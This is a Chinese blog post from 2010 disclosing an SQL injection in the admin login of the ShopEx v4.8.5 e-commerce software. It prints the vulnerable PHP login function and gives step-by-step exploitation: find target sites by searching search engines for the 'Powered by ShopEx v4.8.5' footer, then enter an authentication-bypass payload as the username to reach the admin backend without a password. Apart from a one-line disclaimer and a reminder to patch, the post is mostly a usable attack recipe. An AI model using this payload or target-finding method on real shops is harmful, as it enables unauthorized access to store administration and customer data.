shopex v4.8.5 最新漏洞

2010年5月23日星期日 | | |

本人声明:

只做技术研究,请勿破坏….谢谢.

漏洞原因:

直接看代码:
public function tryLogin( $aValue, $issuper = false )
{
if ( $aValue['passwd'] == "+_-_-_+" )
{
$aValue['passwd'] = "";
}
$sql = "SELECT * FROM sdb_operators WHERE username = '{$aValue['usrname']}' AND userpass = '".md5( $aValue['passwd'] )."' AND disabled='false'";
if ( $issuper )
{
$sql .= " AND super='1′";
}
return $this->db->selectrow( $sql );
}

这里$aValue['usrname']没有任何过滤直接查询(没想到shopex还爆这种低级漏洞)。

利用方法:

在baidu,google直接搜索 Powered by ShopEx v4.8.5

ps:这就是版权信息带来的困惑。一出漏洞。别人就可以用版权信息找到你。
想去除shopex版权信息的去看 http://www.lp1987.cn/62.html

直接在后台登陆 用户名的地方输入

' or '1′='1′ or '1′='1

密码随便输,验证码输正确,直接进入后台。

SQL查询语句就变成这个样子了直接通过
SELECT * FROM sdb_operators WHERE username = " or '1′='1′ or '1′='1′ AND userpass = 'x' AND disabled='false'

看到此文章的shopex用户赶紧打官方的最新补丁….

 
我的QQ空间
再提供一种解决Nginx文件类型错误解析漏洞的方法
 昨日,80Sec 爆出Nginx具有严重的0day漏洞,详见《Nginx文件类...
 

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]